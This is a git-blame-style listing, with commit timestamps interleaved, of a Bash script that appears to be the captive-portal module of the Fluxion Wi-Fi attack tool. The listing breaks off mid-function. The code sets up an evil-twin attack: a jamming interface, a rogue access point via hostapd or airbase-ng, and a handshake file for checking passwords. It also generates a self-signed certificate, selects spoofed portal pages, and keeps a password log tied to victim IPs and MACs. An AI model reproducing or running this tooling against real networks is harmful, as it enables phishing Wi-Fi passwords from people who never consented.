2017-08-08 12:48:00 -06:00
|
|
|
#!/bin/bash
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# ============================================================ #
|
|
|
|
# =============== < Captive Portal Parameters > ============== #
|
|
|
|
# ============================================================ #
|
2017-08-08 12:48:00 -06:00
|
|
|
CaptivePortalState="Not Ready"
|
|
|
|
|
|
|
|
CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog"
|
|
|
|
CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog"
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant")
|
|
|
|
CaptivePortalAuthenticationMethodsInfo=(
|
|
|
|
"(handshake file, ${CGrn}recommended$CClr)"
|
|
|
|
) # "(Target AP authentication, slow)")
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# ============= < Virtual Network Configuration > ============ #
|
|
|
|
# To avoid collapsing with an already existing network,
|
|
|
|
# we'll use a somewhat uncommon network and server IP.
|
2018-01-18 00:17:26 -07:00
|
|
|
CaptivePortalGatewayAddress="192.168.254.1"
|
|
|
|
CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*}
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-05 20:22:06 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# ============================================================ #
|
|
|
|
# ============== < Captive Portal Subroutines > ============== #
|
|
|
|
# ============================================================ #
|
|
|
|
captive_portal_unset_jammer_interface() {
|
2018-04-22 23:19:14 -06:00
|
|
|
CaptivePortalJammerInterfaceOriginal=""
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi
|
|
|
|
CaptivePortalJammerInterface=""
|
2017-12-05 20:22:06 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# Check if we're automatically selecting the interface & skip
|
|
|
|
# this one if so to take the user back properly.
|
|
|
|
local interfacesAvailable
|
|
|
|
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
|
2017-12-05 20:22:06 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
|
2017-12-05 20:22:06 -07:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_jammer_interface() {
|
|
|
|
if [ "$CaptivePortalJammerInterface" ]; then return 0; fi
|
2017-09-02 13:28:45 -06:00
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then
|
2018-01-19 14:53:46 -07:00
|
|
|
echo "Running get jammer interface." > $FLUXIONOutputDevice
|
|
|
|
if ! fluxion_get_interface attack_targetting_interfaces \
|
|
|
|
"$CaptivePortalJammerInterfaceQuery"; then
|
|
|
|
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
|
|
|
|
return 1
|
|
|
|
fi
|
2018-04-22 23:19:14 -06:00
|
|
|
CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected
|
2018-01-19 14:53:46 -07:00
|
|
|
fi
|
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
local selectedInterface=$CaptivePortalJammerInterfaceOriginal
|
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
if ! fluxion_allocate_interface $selectedInterface; then
|
|
|
|
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
|
|
|
|
return 2
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
2017-09-02 13:28:45 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]}
|
2017-09-02 13:28:45 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_ap_interfaces() {
|
|
|
|
interface_list_all
|
|
|
|
local interface
|
|
|
|
for interface in "${InterfaceListAll[@]}"; do
|
|
|
|
if [ "$interface" = "lo" ]; then continue; fi
|
|
|
|
echo "$interface"
|
|
|
|
done
|
|
|
|
}
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_ap_interface() {
|
2018-04-22 23:19:14 -06:00
|
|
|
CaptivePortalAccessPointInterfaceOriginal=""
|
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi
|
|
|
|
if [ "$CaptivePortalAccessPointInterface" = \
|
2018-01-17 22:18:10 -07:00
|
|
|
"${CaptivePortalJammerInterface}v" ]; then
|
2018-01-19 14:53:46 -07:00
|
|
|
if ! iw dev $CaptivePortalAccessPointInterface del \
|
2018-01-17 22:18:10 -07:00
|
|
|
&> $FLUXIONOutputDevice; then
|
|
|
|
fluxion_conditional_bail "Unable to remove virtual interface!"
|
|
|
|
exit 1
|
|
|
|
fi
|
|
|
|
fi
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalAccessPointInterface=""
|
2018-01-17 14:29:05 -07:00
|
|
|
}
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_ap_interface() {
|
2018-01-19 14:53:46 -07:00
|
|
|
if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then
|
2018-01-19 14:53:46 -07:00
|
|
|
echo "Running get ap interface." > $FLUXIONOutputDevice
|
|
|
|
if ! fluxion_get_interface captive_portal_ap_interfaces \
|
|
|
|
"$CaptivePortalAccessPointInterfaceQuery"; then
|
|
|
|
echo "Failed to get ap interface" > $FLUXIONOutputDevice
|
|
|
|
return 1
|
|
|
|
fi
|
2018-04-22 23:19:14 -06:00
|
|
|
CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected
|
2018-01-19 14:53:46 -07:00
|
|
|
fi
|
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal
|
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
if ! fluxion_allocate_interface $selectedInterface; then
|
|
|
|
echo "Failed to allocate ap interface" > $FLUXIONOutputDevice
|
|
|
|
return 2
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
2018-01-17 14:29:05 -07:00
|
|
|
|
|
|
|
echo "Succeeded get ap interface." > $FLUXIONOutputDevice
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]}
|
2018-01-17 22:18:10 -07:00
|
|
|
|
|
|
|
# If interfaces are the same, we need an independent virtual interface.
|
2018-01-19 14:53:46 -07:00
|
|
|
if [ "$CaptivePortalAccessPointInterface" = \
|
2018-01-17 22:18:10 -07:00
|
|
|
"$CaptivePortalJammerInterface" ]; then
|
|
|
|
# TODO: Make fluxion's interface services manage virtual interfaces.
|
|
|
|
# Have fluxion_get_interface return a virutal interface if the primary
|
|
|
|
# interface is in used by something else (virtual reservation?).
|
|
|
|
echo "Virtual interface required, attempting." > $FLUXIONOutputDevice
|
|
|
|
if ! iw dev $CaptivePortalJammerInterface interface \
|
|
|
|
add ${CaptivePortalJammerInterface}v type monitor \
|
|
|
|
2> $FLUXIONOutputDevice; then
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError"
|
|
|
|
sleep 5
|
|
|
|
return 2
|
|
|
|
fi
|
|
|
|
echo "Virtual interface created successfully." > $FLUXIONOutputDevice
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v
|
2018-01-17 22:18:10 -07:00
|
|
|
fi
|
2017-09-02 13:28:45 -06:00
|
|
|
}
|
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
function captive_portal_unset_ap_service() {
|
|
|
|
if [ ! "$CaptivePortalAPService" ]; then return 1; fi
|
|
|
|
|
|
|
|
CaptivePortalAPService=""
|
|
|
|
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then
|
2018-01-18 00:17:26 -07:00
|
|
|
return 3;
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function captive_portal_set_ap_service() {
|
2018-04-22 23:19:14 -06:00
|
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
|
|
if ! type -t ap_service_start; then
|
|
|
|
# AP Service: Load the service's helper routines.
|
|
|
|
source "lib/ap/$CaptivePortalAPService.sh"
|
|
|
|
fi
|
|
|
|
return 0
|
|
|
|
fi
|
2018-01-19 14:53:46 -07:00
|
|
|
if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then
|
2018-04-22 23:19:14 -06:00
|
|
|
return 0
|
2018-01-18 00:17:26 -07:00
|
|
|
fi
|
|
|
|
|
|
|
|
captive_portal_unset_ap_service
|
|
|
|
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
CaptivePortalAPService="hostapd"
|
|
|
|
else
|
|
|
|
fluxion_header
|
|
|
|
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery"
|
|
|
|
echo
|
|
|
|
|
|
|
|
fluxion_target_show
|
|
|
|
|
|
|
|
local choices=(
|
|
|
|
"$CaptivePortalAPServiceHostapdOption"
|
|
|
|
"$CaptivePortalAPServiceAirbaseOption"
|
|
|
|
"$FLUXIONGeneralBackOption"
|
|
|
|
)
|
|
|
|
io_query_choice "" choices[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$CaptivePortalAPServiceHostapdOption")
|
|
|
|
CaptivePortalAPService="hostapd" ;;
|
|
|
|
"$CaptivePortalAPServiceAirbaseOption")
|
|
|
|
CaptivePortalAPService="airbase-ng" ;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
*)
|
|
|
|
fluxion_conditional_bail "Invalid AP service selected!"
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
fi
|
|
|
|
|
|
|
|
# AP Service: Load the service's helper routines.
|
|
|
|
source "lib/ap/$CaptivePortalAPService.sh"
|
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_authenticator() {
|
|
|
|
if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
case "$CaptivePortalAuthenticatorMode" in
|
2018-01-17 22:18:10 -07:00
|
|
|
"hash")
|
|
|
|
echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;;
|
2017-12-31 09:02:12 -07:00
|
|
|
esac
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
CaptivePortalAuthenticatorMode=""
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# If we've only got one option, then the user skipped this section
|
|
|
|
# by auto-selecting that single option, so we unset the previous
|
|
|
|
# phase along with this one to properly take the user back.
|
|
|
|
if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
return 1 # Trigger undo chain because it was auto-selected.
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_authenticator() {
|
|
|
|
if [ "$CaptivePortalAuthenticatorMode" ]; then
|
2018-04-22 23:19:14 -06:00
|
|
|
case "$CaptivePortalAuthenticatorMode" in
|
|
|
|
"hash")
|
|
|
|
if [ "$CaptivePortalHashPath" ]; then
|
|
|
|
echo "Captive Portal authentication mode is already set, skipping!" \
|
|
|
|
> $FLUXIONOutputDevice
|
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
;;
|
|
|
|
esac
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_authenticator
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
# If we've got only one choice, auto-select it for the user.
|
2018-01-17 14:29:05 -07:00
|
|
|
if [ \
|
|
|
|
${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
|
|
|
|
${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \
|
|
|
|
"$FLUXIONAuto" ]; then
|
|
|
|
CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}"
|
|
|
|
echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \
|
|
|
|
> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
else
|
|
|
|
fluxion_header
|
|
|
|
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery"
|
|
|
|
echo
|
|
|
|
|
2018-01-18 00:17:26 -07:00
|
|
|
fluxion_target_show
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
local choices=(
|
|
|
|
"${CaptivePortalAuthenticationMethods[@]}"
|
|
|
|
"$FLUXIONGeneralBackOption"
|
|
|
|
)
|
|
|
|
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \
|
|
|
|
choices[@] CaptivePortalAuthenticationMethodsInfo[@]
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
echo
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}"
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
# If we're going back, reset everything and abort.
|
2018-01-17 14:29:05 -07:00
|
|
|
if [[ \
|
|
|
|
"$CaptivePortalAuthenticatorMode" == \
|
|
|
|
"$FLUXIONGeneralBackOption" ]]; then
|
|
|
|
captive_portal_unset_authenticator
|
|
|
|
return -1
|
2017-12-31 09:02:12 -07:00
|
|
|
fi
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Process the authentication method selected.
|
2018-01-17 14:29:05 -07:00
|
|
|
local result=1 # Assume failure at first.
|
|
|
|
case "$CaptivePortalAuthenticatorMode" in
|
|
|
|
"hash")
|
|
|
|
# Pass default path if no path is set yet.
|
|
|
|
if [ ! "$CaptivePortalHashPath" ]; then
|
|
|
|
CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
|
|
|
|
fi
|
|
|
|
|
|
|
|
fluxion_hash_get_path \
|
|
|
|
"$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID"
|
|
|
|
result=$?
|
|
|
|
|
|
|
|
if [ $result -eq 0 ]; then
|
|
|
|
CaptivePortalHashPath="$FluxionHashPath"
|
|
|
|
fi
|
|
|
|
;;
|
2017-12-31 09:02:12 -07:00
|
|
|
esac
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# Assure authentication method processing succeeded, abort otherwise.
|
|
|
|
if [[ $result -ne 0 ]]; then
|
|
|
|
echo "Auth-mode error code $result!" > $FLUXIONOutputPath
|
2017-12-31 09:02:12 -07:00
|
|
|
return 1
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_run_certificate_generator() {
|
|
|
|
xterm -bg "#000000" -fg "#CCCCCC" \
|
|
|
|
-title "Generating Self-Signed SSL Certificate" -e openssl req \
|
2018-04-22 23:19:14 -06:00
|
|
|
-subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \
|
2018-01-17 14:29:05 -07:00
|
|
|
-new -newkey rsa:2048 -days 365 -nodes -x509 \
|
|
|
|
-keyout "$FLUXIONWorkspacePath/server.pem" \
|
|
|
|
-out "$FLUXIONWorkspacePath/server.pem"
|
|
|
|
# Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html
|
2017-12-31 09:02:12 -07:00
|
|
|
chmod 400 "$FLUXIONWorkspacePath/server.pem"
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_certificate() {
|
|
|
|
if [ ! "$CaptivePortalSSL" ]; then return 1; fi
|
2018-01-19 14:53:46 -07:00
|
|
|
# WARNING: The server configuration depends on whether the certificate
|
|
|
|
# file exists and is positioned in the proper location. The check above
|
|
|
|
# could unsynchronize with the certificate file if we're not careful!
|
2017-12-31 09:02:12 -07:00
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem"
|
|
|
|
CaptivePortalSSL=""
|
2018-01-17 22:18:10 -07:00
|
|
|
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# Create Self-Signed SSL Certificate
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_certificate() {
|
2018-04-22 23:19:14 -06:00
|
|
|
if [ \
|
|
|
|
"$CaptivePortalSSL" = "disabled" -o \
|
|
|
|
"$CaptivePortalSSL" = "enabled" -a \
|
|
|
|
-f "$FLUXIONWorkspacePath/server.pem" ]; then
|
2018-01-17 14:29:05 -07:00
|
|
|
echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \
|
|
|
|
> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
|
2018-04-23 03:38:00 -06:00
|
|
|
# TODO: This is temporary solution, refactor this.
|
|
|
|
if [ "$CaptivePortalSSL" = "enabled" ]; then
|
|
|
|
local -r restoring=true
|
|
|
|
fi
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_certificate
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
# Check existance of ssl certificate within fluxion with file size > 0
|
|
|
|
# If user-supplied (fancy) certificate exists, copy it to fluxspace.
|
|
|
|
if [ \
|
|
|
|
-f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \
|
|
|
|
-s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \
|
|
|
|
]; then
|
2017-12-31 09:02:12 -07:00
|
|
|
cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \
|
|
|
|
"$FLUXIONWorkspacePath/server.pem"
|
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalSSL="enabled" # Enabled if sourcing user certificate
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
echo "Captive Portal certificate was user supplied, skipping query!" \
|
|
|
|
> $FLUXIONOutputDevice
|
2017-12-31 09:02:12 -07:00
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
|
2018-04-22 23:19:14 -06:00
|
|
|
|
|
|
|
# Check if we're restoring and we need to re-create certificate.
|
2018-04-23 03:38:00 -06:00
|
|
|
if [ "$restoring" ]; then
|
2018-04-22 23:19:14 -06:00
|
|
|
if ! captive_portal_run_certificate_generator; then
|
|
|
|
fluxion_conditional_bail "cert-gen failed!"
|
|
|
|
return 2
|
|
|
|
fi
|
|
|
|
CaptivePortalSSL="enabled"
|
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
|
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
2018-01-19 14:53:46 -07:00
|
|
|
CaptivePortalSSL="disabled"
|
2017-12-31 09:02:12 -07:00
|
|
|
else
|
2018-01-17 14:29:05 -07:00
|
|
|
local choices=(
|
|
|
|
"$CaptivePortalCertificateSourceGenerateOption"
|
|
|
|
"$CaptivePortalCertificateSourceRescanOption"
|
|
|
|
"$CaptivePortalCertificateSourceDisabledOption"
|
|
|
|
"$FLUXIONGeneralBackOption"
|
|
|
|
)
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
2018-01-17 14:29:05 -07:00
|
|
|
"$CaptivePortalCertificateSourceGenerateOption")
|
|
|
|
# If cert generator fails, gtfo, something broke!
|
|
|
|
if ! captive_portal_run_certificate_generator; then
|
|
|
|
fluxion_conditional_bail "cert-gen failed!"
|
|
|
|
return 2
|
|
|
|
fi
|
|
|
|
CaptivePortalSSL="enabled"
|
|
|
|
;;
|
|
|
|
|
|
|
|
"$CaptivePortalCertificateSourceRescanOption")
|
|
|
|
captive_portal_set_certificate
|
|
|
|
return $?
|
|
|
|
;;
|
|
|
|
|
|
|
|
"$CaptivePortalCertificateSourceDisabledOption")
|
|
|
|
CaptivePortalSSL="disabled"
|
|
|
|
;;
|
|
|
|
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
*)
|
|
|
|
fluxion_conditional_bail "Unknown cert-gen option!"
|
2017-12-31 09:02:12 -07:00
|
|
|
return 2
|
2018-01-17 14:29:05 -07:00
|
|
|
;;
|
2017-12-31 09:02:12 -07:00
|
|
|
esac
|
|
|
|
fi
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_connectivity() {
|
|
|
|
if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi
|
2017-12-31 09:02:12 -07:00
|
|
|
CaptivePortalConnectivity=""
|
2018-01-19 14:53:46 -07:00
|
|
|
|
|
|
|
# Since we're auto-selecting when on auto, trigger undo-chain.
|
|
|
|
if [ "$FLUXIONAuto" ]; then return 2; fi
|
2017-12-06 21:20:22 -07:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_connectivity() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$CaptivePortalConnectivity" ]; then return 0; fi
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_connectivity
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-19 14:53:46 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
CaptivePortalConnectivity="disconnected"
|
|
|
|
else
|
|
|
|
local choices=(
|
|
|
|
"$CaptivePortalConnectivityDisconnectedOption"
|
|
|
|
"$CaptivePortalConnectivityEmulatedOption"
|
|
|
|
"$FLUXIONGeneralBackOption"
|
|
|
|
)
|
|
|
|
io_query_choice "$CaptivePortalConnectivityQuery" choices[@]
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$CaptivePortalConnectivityDisconnectedOption")
|
|
|
|
CaptivePortalConnectivity="disconnected" ;;
|
|
|
|
"$CaptivePortalConnectivityEmulatedOption")
|
|
|
|
CaptivePortalConnectivity="emulated" ;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
*)
|
|
|
|
fluxion_conditional_bail "Unknown connectivity option!"
|
|
|
|
return 2
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
fi
|
2017-12-06 21:20:22 -07:00
|
|
|
}
|
2017-08-08 12:48:00 -06:00
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_unset_user_interface() {
|
2018-03-13 19:50:28 -06:00
|
|
|
if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi
|
2018-01-17 14:29:05 -07:00
|
|
|
CaptivePortalUserInterface=""
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_set_user_interface() {
|
2018-03-13 19:50:28 -06:00
|
|
|
local -r attackPath="$FLUXIONPath/attacks/Captive Portal"
|
|
|
|
|
|
|
|
# Skip setting UI if one is selected and is a custom or a generic portal.
|
|
|
|
if [ "$CaptivePortalUserInterface" != "" ] && [ \
|
|
|
|
-d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \
|
|
|
|
-f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then
|
|
|
|
return 0
|
|
|
|
fi
|
2017-12-31 09:02:12 -07:00
|
|
|
|
2018-01-17 22:18:10 -07:00
|
|
|
captive_portal_unset_user_interface
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
local sites=()
|
|
|
|
|
2018-03-13 19:50:28 -06:00
|
|
|
# Attempt adding generic portals only if the directory exists.
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ -d attacks/Captive\ Portal/generic/languages ]; then
|
2018-03-13 19:50:28 -06:00
|
|
|
# Normalize the names of the generic portals for presentation.
|
2017-12-31 09:02:12 -07:00
|
|
|
for site in attacks/Captive\ Portal/generic/languages/*.lang; do
|
|
|
|
sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")")
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
|
2018-03-13 19:50:28 -06:00
|
|
|
# Attempt adding custom portals only if the directory exists.
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ -d attacks/Captive\ Portal/sites ]; then
|
2018-03-13 19:50:28 -06:00
|
|
|
# Retrieve available portal sites and strip the .portal extension.
|
2017-12-31 09:02:12 -07:00
|
|
|
for site in attacks/Captive\ Portal/sites/*.portal; do
|
|
|
|
sites+=("$(basename "${site%.portal}")")
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
|
|
|
|
local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption")
|
|
|
|
local sitesLanguage=("${sites[@]/*_/}")
|
|
|
|
|
|
|
|
format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr"
|
|
|
|
local queryFieldOptionsFormat=$FormatCenterDynamic
|
|
|
|
|
|
|
|
fluxion_header
|
|
|
|
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalUIQuery"
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \
|
|
|
|
"$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker"
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
io_query_format_fields "" "$queryFieldOptionsFormat\n" \
|
|
|
|
sitesIdentifier[@] sitesLanguage[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
local site="${IOQueryFormatFields[0]}"
|
|
|
|
local siteLanguage="${IOQueryFormatFields[1]}"
|
2018-03-13 19:50:28 -06:00
|
|
|
local siteIdentifier="${site}_${siteLanguage}"
|
2017-12-31 09:02:12 -07:00
|
|
|
|
|
|
|
case "$site" in
|
2018-01-17 14:29:05 -07:00
|
|
|
"$CaptivePortalGenericInterfaceOption")
|
2018-03-13 19:50:28 -06:00
|
|
|
CaptivePortalUserInterface=$siteLanguage
|
|
|
|
# source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
|
|
|
|
# captive_portal_generic
|
2018-01-17 14:29:05 -07:00
|
|
|
;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
2018-01-17 22:18:10 -07:00
|
|
|
captive_portal_unset_user_interface
|
2018-01-17 14:29:05 -07:00
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
*)
|
2018-03-13 19:50:28 -06:00
|
|
|
CaptivePortalUserInterface=$siteIdentifier
|
2018-01-17 14:29:05 -07:00
|
|
|
;;
|
2017-12-31 09:02:12 -07:00
|
|
|
esac
|
2017-08-08 12:48:00 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_get_client_IP() {
|
|
|
|
if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then
|
|
|
|
MatchedClientIP=$(
|
|
|
|
cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \
|
|
|
|
sed '/^\s*$/d' | tail -n 1 | head -n 1
|
|
|
|
)
|
2017-12-31 09:02:12 -07:00
|
|
|
else
|
|
|
|
MatchedClientIP="unknown"
|
|
|
|
fi
|
2017-12-20 16:21:39 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo $MatchedClientIP
|
2017-12-20 07:14:18 -07:00
|
|
|
}
|
|
|
|
|
2018-01-17 14:29:05 -07:00
|
|
|
captive_portal_get_IP_MAC() {
|
|
|
|
if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \
|
|
|
|
[ "$(captive_portal_get_client_IP)" != "" ] && \
|
|
|
|
[ -f "$FLUXIONWorkspacePath/clients.txt" ]; then
|
|
|
|
local IP=$(captive_portal_get_client_IP)
|
|
|
|
local MatchedClientMAC=$(
|
|
|
|
